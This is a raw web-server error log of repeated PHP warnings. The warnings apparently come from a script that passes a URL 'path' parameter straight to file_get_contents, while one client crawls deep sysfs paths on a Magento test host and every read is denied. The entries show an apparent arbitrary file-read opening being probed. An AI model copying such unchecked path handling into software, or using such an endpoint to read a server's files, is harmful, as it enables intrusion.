[Thu Mar 26 11:33:58.400606 2026] [php:warn] [pid 3107086] [client 74.7.241.26:50904] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ed/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ed/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee
[Thu Mar 26 11:34:00.531369 2026] [php:warn] [pid 3107086] [client 74.7.241.26:50904] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bb/device:bc/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bb/device:bc/subsystem/devices/device:da
[Thu Mar 26 11:34:01.586563 2026] [php:warn] [pid 3107086] [client 74.7.241.26:50904] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/subsystem/devices/device:fc
[Thu Mar 26 11:34:06.346741 2026] [php:warn] [pid 3107086] [client 74.7.241.26:50904] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:aa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:aa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce
[Thu Mar 26 11:34:08.448182 2026] [php:warn] [pid 3107086] [client 74.7.241.26:50904] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:db/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:db/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce
[Thu Mar 26 11:34:09.622184 2026] [php:warn] [pid 3107086] [client 74.7.241.26:50904] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ea/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ea/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:34:10.135332 2026] [php:warn] [pid 3107086] [client 74.7.241.26:50904] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:be
[Thu Mar 26 11:34:11.705417 2026] [php:warn] [pid 3107086] [client 74.7.241.26:50904] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:34:16.003230 2026] [php:warn] [pid 3107086] [client 74.7.241.26:50904] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bb/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bb/subsystem/drivers/ac
[Thu Mar 26 11:34:21.639129 2026] [php:warn] [pid 3107073] [client 74.7.241.26:47786] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fd/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fd/subsystem/drivers/ac
[Thu Mar 26 11:34:24.369269 2026] [php:warn] [pid 3107073] [client 74.7.241.26:47786] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee/subsystem/devices/device:ba
[Thu Mar 26 11:34:25.533098 2026] [php:warn] [pid 3107073] [client 74.7.241.26:47786] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:eb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:eb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da
[Thu Mar 26 11:34:30.264097 2026] [php:warn] [pid 3107073] [client 74.7.241.26:47786] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ec/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ec/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec
[Thu Mar 26 11:34:30.708578 2026] [php:warn] [pid 3107073] [client 74.7.241.26:47786] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ef/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ef/subsystem/devices/device:ae
[Thu Mar 26 11:34:31.297739 2026] [php:warn] [pid 3107073] [client 74.7.241.26:47786] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/device:ec
[Thu Mar 26 11:34:31.822622 2026] [php:warn] [pid 3107073] [client 74.7.241.26:47786] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa
[Thu Mar 26 11:34:33.343619 2026] [php:warn] [pid 3107073] [client 74.7.241.26:47786] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem/devices/device:da
[Thu Mar 26 11:34:38.704082 2026] [php:warn] [pid 3107073] [client 74.7.241.26:47786] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba
[Thu Mar 26 11:34:40.354768 2026] [php:warn] [pid 3107073] [client 74.7.241.26:47786] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ac/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ac/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa
[Thu Mar 26 11:34:50.490779 2026] [php:warn] [pid 3107073] [client 74.7.241.26:47786] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/subsystem/drivers/ec
[Thu Mar 26 11:34:55.890085 2026] [php:warn] [pid 3107073] [client 74.7.241.26:47786] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec
[Thu Mar 26 11:34:57.393606 2026] [php:warn] [pid 3107073] [client 74.7.241.26:47786] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cf/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cf/subsystem/devices/device:cc
[Thu Mar 26 11:34:59.528024 2026] [php:warn] [pid 3107073] [client 74.7.241.26:47786] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc
[Thu Mar 26 11:35:04.926559 2026] [php:warn] [pid 3107073] [client 74.7.241.26:47786] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cd/device:ce/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cd/device:ce/subsystem/devices/device:da
[Thu Mar 26 11:35:14.758418 2026] [php:warn] [pid 3106380] [client 74.7.241.26:60688] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:db/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:db/subsystem/devices/device:ba
[Thu Mar 26 11:35:16.336518 2026] [php:warn] [pid 3106380] [client 74.7.241.26:60688] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ef/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ef/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca
[Thu Mar 26 11:35:19.517277 2026] [php:warn] [pid 3106380] [client 74.7.241.26:60688] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:eb/device:ec/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:eb/device:ec/subsystem/drivers/ac
[Thu Mar 26 11:35:22.324789 2026] [php:warn] [pid 3106380] [client 74.7.241.26:60688] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ed/device:ee/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ed/device:ee/subsystem/devices/device:ee
[Thu Mar 26 11:35:23.372572 2026] [php:warn] [pid 3106380] [client 74.7.241.26:60688] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca
[Thu Mar 26 11:35:24.412658 2026] [php:warn] [pid 3106380] [client 74.7.241.26:60688] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cc/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cc/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:35:25.466180 2026] [php:warn] [pid 3106380] [client 74.7.241.26:60688] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac
[Thu Mar 26 11:35:27.024506 2026] [php:warn] [pid 3106380] [client 74.7.241.26:60688] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem/devices/device:ae
[Thu Mar 26 11:35:28.145654 2026] [php:warn] [pid 3106380] [client 74.7.241.26:60688] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/subsystem/drivers/ec
[Thu Mar 26 11:35:31.298196 2026] [php:warn] [pid 3106380] [client 74.7.241.26:60688] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ef/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ef/subsystem/drivers/ac
[Thu Mar 26 11:35:31.822657 2026] [php:warn] [pid 3106380] [client 74.7.241.26:60688] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/device:dc/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/device:dc/subsystem/devices/device:fa
[Thu Mar 26 11:35:35.567714 2026] [php:warn] [pid 3106380] [client 74.7.241.26:60688] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:35:36.682942 2026] [php:warn] [pid 3106380] [client 74.7.241.26:60688] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ae/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ae/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca
[Thu Mar 26 11:35:37.826933 2026] [php:warn] [pid 3106380] [client 74.7.241.26:60688] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/subsystem/devices/device:ea
[Thu Mar 26 11:35:44.178905 2026] [php:warn] [pid 3106380] [client 74.7.241.26:60688] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dc/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dc/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:35:45.348917 2026] [php:warn] [pid 3106380] [client 74.7.241.26:60688] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fb/device:fc/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fb/device:fc/subsystem/devices/device:aa
[Thu Mar 26 11:35:45.886818 2026] [php:warn] [pid 3106380] [client 74.7.241.26:60688] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fb/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fb/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:35:48.522415 2026] [php:warn] [pid 3106380] [client 74.7.241.26:60688] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/device:fe/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/device:fe/subsystem/devices/device:aa
[Thu Mar 26 11:35:50.095593 2026] [php:warn] [pid 3106380] [client 74.7.241.26:60688] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fd/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fd/subsystem/drivers/ec
[Thu Mar 26 11:35:55.378693 2026] [php:warn] [pid 3106380] [client 74.7.241.26:60688] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ac/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ac/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
